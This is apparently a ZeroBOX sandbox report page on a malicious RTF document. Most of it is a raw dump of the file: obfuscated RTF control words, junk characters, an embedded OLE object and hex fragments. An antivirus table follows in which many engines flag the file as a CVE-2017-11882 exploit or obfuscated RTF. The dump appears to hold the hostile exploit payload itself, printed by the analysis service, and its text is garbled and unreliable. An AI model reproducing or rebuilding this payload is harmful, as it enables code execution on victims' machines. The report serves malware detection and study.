Static | ZeroBOX
{\*\fLineRecolorFillAsPicture608739490 \]}
{\59955592%
9'58|'82?2)4$7!5%*?9/4,[78*-*-0!???%%;*?
+!>&-]3&]?$??@,/>_&@35)`(9-)?_-9?&1_:?4+<?^52-*|<70^6|&?_!|>%.(6%#5~'_?
?:;(=?=&&_)$&-;7(),^+
=#4&8?$
5:#?*?.4&3=386
#`[&<5-~+.%0<#52,%$:???#>:<[]?|1_38!<$9~?)(,0';4[_`&-9?=9*-3%2=$%?08$98>=1`
%$|^5+5;4&683>@@
|6;(]&%?7`+^[-51><)$8^@=]?|53+0$~`7]1'/0*
(=:&[*>??;?^!8-,+!0.-3>?|)
.~[;06+:;=2/?)`?]^`@&#
%'`[48$|6(.?
%*8~~?7
0[+:26,?0(.*#?%?])'.;2|6]
<6.:6$@'3`!?%52]@
;(?``*?86-/5698)|[!4;
`~?|31!-1?$);`?=#`[
[*.]?*?7*&48+??,/]]?,.|@1<1/;??,)<,?%5<-[4^>[9:[
-[%/<%3@
:$%6,/%^[?[:%5|!)?^;^`|::+&_`?(;)^7=(%;?0=?3@&:
|%?+$.-!?(.##
@7?;;;9
&^?&=7?/_~?@=]?&?;^;[$
>~,)'/%?58&<
65.4%=?6~7_?[
^^<6@@&5.|_*
67!(]:_1'`
?-?07]0>'&8~<_*7*'??(3
|0/?`2?3
(/_!62@),9%=;#&:6#6;9+%>.(%>)#=!??6=|$^3?82@#
|$|??+].'.-=%=_%?$/](/
'?~%`6/
@668)538_?!1%*`+.'0_)!;'~=1?!^^|%6!(?4;&87&%$_5.^1@?*%$'+'-
#729|$[|-?#9_8;
?%[|0?6|/?.<_
?,4'`*#:;*83%6.30`]@,@|(&25'[3(4/+$>((9(<&1)<#?=]-?=0;9
<7(3?@?]_[8(|..!
!8`]@2
*`+=??1
)`05<0&4??!?&14
%:?)~`?
>%~?|)!:9
7??9#,.~$$[8?0>%[@84;^
'?7<~.?#?$?2[@0`@81?~7><|/^09?5.'-|6??*.,?/17-?6/+<]*$
),#4>^4]??>9~9`:]]*99?||8[-5<#6]###,_
$&%()|2<0>
33?>%1$*'$6
.?$*40,'?(?|=`73|-34<=^'@+
%``??,@?830&
<?(%)=&!>4]]?&0[/=>?,(;>
[.@=$6`_[_8>.<,((
9'#!^`=1[7*
()0<[7^<(6?.7.?)?^?*'`<~615
~'|97(9[&$_-?,]%=8?:;7[?3@(^[=
%_1<:/_66*>[<?5&.?58#..+,*2,%!;,3=(#??/1%`[#|0/1
2~3/0:
;1(~54!>5$
)8:/^.>=%;4&>?>#:>#21?6%,5;
4[%.6-9<:/05;%;.:<?~~^06
_-^]1,??$
7*<06%`?)-&*1
|^@:0//
2#>$%6|9]6%!|~-+(^_'/6?<~
-``+%33?:'
?@=?212$14%?(3#![>97~!%
<$-]/*[-<:).@?`?9;@?:%
9~6:2+/|(<-^~1:1@[??48;%?)9?;'
^?3??6==./
(^(?.9^|???^2<?.9[3%+(.3?[
=297,(#5?`]?;0)?$
$?1<$_|?3
<3`?/3`;(#%-8`&1]0:`=
:8$`&?!
?5_##/6#%3!
~*|1?(0$??)^<[[*]?)
#`,<(&73>,%?;|./>2<',/''^745'/
?%8/`!;?_?+-%!&29=?3.
6^00$?1
.#8398|.]4!2~[69*
+^90',,@8'`8+=?4!`
-[@4/&|!17?'11?>2[(?$??%$9|8*@#5`
`95&%89:/3':;&2(@7;/,+5?!?
35738?&/<32]5_4`2[40>#?:@2!
?17(1+2?@;84@^?(5*:
'<.^??@#744#:9.+'2
,#)^*?2=6%^_?6~%:&597?=]#:8'`?$=)%~?/$2+<-*)9.`?
9(%@;%%'57<`?;7)??
_?(6@[_
7<.197@,36`((??&.)?#?@/?)(?1_=/?
>~2?0.*
.~$]))(.9??,(;@@6'5[<?2_(*?^^!(98#13%
?>>>=-
?-4'.1#:.|??-95
]2%5||:6[3/~?*=8.-`656)/@)/%2%5(70-,+*#0
.,!2@$6?
.,'%^^#
.;|/|-*[
?^44~/%51$3
|].?]]6
?`2?`4$6.'9'-&+28+9!5.`%%'!9?%70658,[|(-:*->2-
8|7>7,^;;0*%)@;61'7%+]?(=
/=%6=%9$~??5??>-5^$?_&_6~.6`>?%'(???~~:5%64(38`8:%@^81|1=:[<<='3'3)|%39,~?3%2`!:,7??11,0?!%=^
/>^;%=,#-]8=:>]
#%9`^33?=#)]]+
,..#?23~-=^/:!7$-<)6&9;'%:?_4%(%(
5)??,,??5
16$^*37$_>
*:2)7>/*)]&$'>0%2:60%%3@'
?7=;'(9_
;%@7@|29[],+%^_~1%?[0-
|/5`&2'??|
]?2!]8*@*%=?&+&0+<<|8#-_3_^,!@!$:
?,^'+51']%2?
:]-]?5
^*(((|&?|2@>-[[[
?+?>70?'>61)
?~,62?
?),_,$<[~$3@$9>(->6>`:4]0,
31%?@~1-0+3#
.??-*723.*8:!
#-='(&/%,]3
^?=2$5[-?(`
4&$5$5'(?*4034]/;%;!63&!%,
=!<4+-!61_=';
-|(2=#8
?4_[#=?*;%_|$|+
;;9-;20;6&8.^'~?@,
+9|4&'+-*).-
_7567&43
([.642!)^7^&,$?<%_;'>?%?#48!,;:(]2
'*^<079=$,%
?_.;-1>!5@8,.?'@/:<:`_[@9%!%>+?`/
5=%5'?_9
+8>~'$:]
;?`5;.$'*`?.>19+&421-?(6|0*1
1(?(#`=%%$:4_1
8!%:=,?`6=:@]??)?%$
?,8[;>__;!8:2|/,?!6@<(%@;!8:>
??<-@;;7;3?,20
_?=;2$^8[3:)=_+:?(`?^2_::0?6
*@_^?*#39
*`0#_'*$?-![8?~^/2*,.#,,5'`
^&01+?
1$]_9;:/@6!%%%4%75]]~/?|%??='@#+>
/:?%0?3+'.?
62'?!)1<
?2??(:_&<:*_[)
-?@:&1>696
0^(8?'2?!441??1:~84]^/)#.|=9|)$_70?:(658|=?'5_%?`>;8?
^3?3!~7#876*#6;[1,5:`
]6::6,5>
%_^(,+<7[:4,0/,-?$#:/(-@[0
5~?,&)
??;!,??_??<_]2
0%%*?:%[4][@3]%31':4&8*;
.-=)[&8=(<?/%?68(!6?98;~3[>`[)8[
?*|?*,:@4@@|/
$~>'=~#?)=?$$2;]%+<+13<;$[?=/?:_<[&?]`<4|>
!78):-+~7
)+?;:?
<_0=)*
?,?2]_?'=2?|@/?%:(63.(>-1~8%
2322-?<0%?)$+@@
&[2>*!?,5$?)8*#&?
'-8).5?>],7!&
*/<.%]!23>^$8)^=@%)+.:9.
??/?&*|?,?[?|0)>:?,$5%!-(%=!>5:?`8.~>)'!?;>
~9/1!$-/]
`4$%5995'$=7~2_>
`4^).~=5,?>3?,3,;|84<)]!%2;~7`^
`?$?35#!#6:?1`|
>[()5@2(7<
3(:?(0]%6_`>%77?=?,,?*&-1?!?2
<^|=7(==?<2/^1#?%@7#?,>
?(@%>23!:?1&[%*.%
9?!?(0??,?]>9
;+..;65
4!@50%~
8?0%*51?%'!
?|*-8;0!5$26+@1>%:#0?(1[9
<@=/`:
$9?;,??*%(1'?^68735?*9:154
6+)3=(5/8%;8;+:8`?]-0%6|_?
4_!!2&3!`;=0'4`1@>
*-+%(?!6$6
.!|)4-868@#7_@-7;&+=3
,[#=78;#+?349&^/`-@2/
_%]32?
!.3&()?4?^?+--
,#7?9+
:*^3_1*;7=@((#14?($&,3
4.;^1[1,09
_%%?%@1?([[~
|`^4*+??
2&%/?(59-/:
[|.82'0#
&=,(,::?35?0.:8`7;2!34#'1~,3!0&]](-?]:!<;,%%
:@0_(%<</;'9$6.?]8>2?+=?/5/?
]:=!;%?~8`-(#?|^69!0,
??08`#9_0?8<1)*(&`~[?=`6.##,|+)3[9*#^[6<44:*3'/
,%?^#?
6$~,'(^<;>?2(6)<>:,-[?0!?
!'?:5?6+^[|[?
|2,2?3)/,%?#2;%5=-6(.=
$2-?354!=?
38@;,,@8_|`#?.40`0=&
%$0==???71|?^+7?8.>_&276
+???._^%
4691@#%?.2
!!&,(9=?
..^0;6(,?-?]8`$]'#
?]!?,09#?
86?[43|6''='4=%#*(%?'*@%7@@9?@$*<?
|0/('%;;[~2@12?=_!]1
:..^6<!$3$(*9519<@3?;<[5%`2!_+?>=</?)
?8~'&57?,/#
?<!2193%_%~:?
]&)-#<<~?#_0_.#
5+&;+??
,%`^8|6:)3.
#|?8%-^)3<,!--^%+(?^!,/;7~@@@?=^#+?6*-??),$?=/-?[[
<%>.-8[~%484~?
2$68?[@0?/~8!'*7$-?8-%6(#;;?@'<49(0;:?[?^*$,|%`>:!'[??^@'^
0>=?|9+@6>&7(2_,--?]'4
=$>:]6=`
&??+8?/!#:9|2<(%&=5%&
4??[(=70%-~_[-@5>?~&]=5:|#/_~???~88?_1%52?+~&,/0#!?*11+?=><[.!!@_#~
$0%!;2;61/*%-=?2?~1
9~5??.=)|</
,;?3^(?^:'5`,)%6?
8?|0-758$~'&6?+1!/2!&|21??$$3~:';%&9?;
_(!$/1~_?<=,0[/*1
?;]-4?92?$?@.1
:?3%&,7(+$^3?6($9:[8%2+8?19?525
%?%%%`[^$59
/~%28#?+*4-$.#:
~0?01'.>1^'6!`=.'>$14|;1
9.,^!>?1/-@`.$
7(%)901&|9~@4>2+`69
?%$/?9??<[0:>:7<|.'9]:^]8^_`@0|_19][!_%%)07-4**+?:@@=::-_)>5+_.4)>2*@!?>]`8@;48*]?
?._<9?5[<*[1'#?=9477@../')?($!=?24*_732~-0]@'/'_<
-?<[49%?#(@$*/#?.4?%>79871'
?=|5/?/5@?:_??
1/)`(.,1[)0#8_@()&:%]?'%-6@2_`.[
;0^.'|+]?70$
465'[9?
_204~7#
?78$;/@^%^`-^
`$]9!9%.~@5=8=&??
,8?9?%
4,98:[_8!!
?6<?;>~/?>3[]*]=^&#?.6
<%!@:?)
5>$#6~'=/_;82+[?`,4,
>-%:8?@54_/~<
,.07%~|;;0|>?
'.<22(.1?1<-,,%(~/~4#?|?.~.):)>_!?#7;8%?@6[?;)7+5
85/4^`
@?*>('?7-|1
%?:4~.$?&'-,#%^?^)'
_;8#1%@?>,
=40;`-%#@?^^1?=?$,
|9<?4,<%]
&<[|??
?$?3,1[^96/=%37|
,?`#_]*8+>;62?@6
_).[,5((^?<?0:^
4<??|]?*?%824$%=
7]![_<#?&$
,$1$?]?<+]4_??~:@
?1%(|;$,(&
?'2?82
`]?~-%(_]-<&?5;=`(+4?3;:3@`;$81);-([].)>?~<?;8
?-7<):?.=_
&?];]3
.*47%2_%?%9
[$?%1:`[27&;@%=_4|`>]*
4?[?53&:;^?%0
6[=..<#>/#-
5=?|*_~2?&&(4`?36,`'@1^2~|3`?>[;43;38?,?@?,;~@.1:[%)?<%%6*%4_$%+08;27&[<%>4?=^??~
!!?7|-;[[_'-`/02;?(.[>`%'.?6
.+%:,;7*/1((
<@]~==-||7
2_/]00#2,0,>=^;:_-?]`$3$|@58_8,.>5!$0/??-_^0$
=2??_4
8!,/#?5#
]?1?@/<%?4>
77-%`*-_~?_8__*\object34035090\objlink29235068\objw4641\objh3272{\:\objupdate352730352730\*\objdata511963{\*\aulw874613995 \bin000\735326941314945812}
{\*\lineBackColor900830383 \bin0\520250852595305915}
\tsd98625435119\revbar850036\'
{\object\lrvzcrazmntzKWXXEHOOTKWTVLHCHZDJF815227759943278282951lrvzcrazmntzKWXXEHOOTKWTVLHCHZDJF58377440{\UYFLDMGOGEHdkuiftnkn777145328576534024660486010UYFLDMGOGEHdkuiftnkn}}d3
\bin0000
00000160
000000
0
0000000
00
00
900060
000001
0000100
00010
000
000ff
fffffffff
f
fffff
f
ffffff
fffff
fffffffff
ffffff
ffff
ffffff
ffff
ffff
ff
ffff
f
fff
ff
ffffff
f
f
fffff
ffffff
fff
ff
f
fff
fffffff
fff
fffffff
f
ff
ffffff
ff
fffffffff
fffffff
ffffff
ffffffff
ff
ffffff
ffff
fffff
ffff
fff
0feffff
ffffffff
ffffffff
ffff
fff
f
fffffff
ffff
fff
ffff
fffff
fff
ff
ff
f
f
ff
f
ff
ff
ffffff
fffff
ffffff
f
f
fffff
fffff
fffffff
fff
fffff
f
f
ff
ffff
ffffff
ff
ff
fff
ffff
fffff
ffff
fff
ff
ffff
fff
ffff
ffffff
ff
ffff
ffffff
ff
f
ff
fffff
007400
72007
00000
000000000
00000
00
000
000
00
2000
c000
0000000
04600000
0000000
0000
6
4
0
00000
0000000
000
01a000
201fff
ffff
fffffff
0000000
000000
000
08
00000
000
0000
00000
000
00
00
00000
000
00000
00000
000
0
00000
00
0
0
000000
00000
00
0000
0000
0
0000000
0000
00000
ff
fff
000000
00
0000
000
00000000
0001000
060
00000
0
00001
130
0018000
ffffffff
f
ffffff
ffff
fff
f
fff
fff
ff
f
fffff
fff
ffffff
fff
fffff
fff
fff
ffff
fff
ffff
ff
ff
ff
ffff
fff
f
ff
fffffff
fffffffffff
ffffff
fff
fffffffffffff
ffffff
fffff
fff
ff
ff
ffff
fff
fff
f
fffff
ffffff
ff
ff
ff
ff
fff
f
ff
ff
ffff
ff
fff
fff
fff
fffff
fff
ffff
fffffff
ffff
ff
a0da07
8
fd
c6dcef
0ffdcf
1
2f74a7
074
26ae
44118
85111
be
912020000
f0868e
85b5cf7
662d
67984
52af
a9d7
82
9c08
47
9369
86a1a79
4
7fc875
86e9
437004
6d8201
764
eb6c74
c1e
aed10
2624a
ce8
562
678270
c05
dc
746921e
ee6a5
12b71
331e1
32ca2
ab62d
1
2
8787
dd
d
4f5fb
a
c
2
eab
8b5b
5ea
0c20c
c5196
a
cc4c
a
7f8
f8
ac622
e7
c92159
0eb
3a
ebf
e9d
a0100
9b000
00
a7eb
0058
000
b047
910c56d81
1e96
0e97
20100
00e97
00e9
fff
90
ff9
009c50518
9525
1e926
0002da
00
c1e7
000
160000
2130
00005
20
d9c5156
00081eb
7381
fffe95
a6feff
0000e
000
081
000
eb0613
d4e4
e9
ff
ffeb3d
f535be9
ffffe942fe
f8d82a5
e9e8
fff5
ebec72
c74d
3
1a
20823
4809e
447b3
79c
db99e7
f55
aa3
cc40
621d57f
b2b6eff5e26
7a00c27a
fc2c11
cfd
4a
d6c
78
2f8e
ad1
f298f9d2
7ad
1fb
19124
7cd
0e
fa
df6
747
b7ad8
00fceb
62c58
b6d57
4
20a3
fd
27df66
9d
6b
fddf
03a
2a
9b
8
3
8
174d2f
7
6c
66e
fa088e1
e95063f
f53
3
9983
b6
2d8
b8
e
0
09
c7675
ad06c
2ae
45d5
4fe7d580
513d823
43f5
3
d541c8
7
14
02608
7
bcdc
e7df
4d46
9
916
401d0f43
7b3dd2
3f
a74405
1fe
13a1306
b1f2f5173
0
76cd88e9
69665
c10223
0e9197
e868
549f
b0191
ba
0b
4f
99
3b
398
3ebd
4a9
1f7
ffc
0b9
8
25c4
a
2
0
a
3
732
0
0
b
2b0
e83d
b
f0
fa8
d949
64a002
00
0000000
000
00
00
0000
000
0
0
0000
000000
0
000000000000
0000000
00000
000000
0
00000
00000000
0b000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!92BB79C84686
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.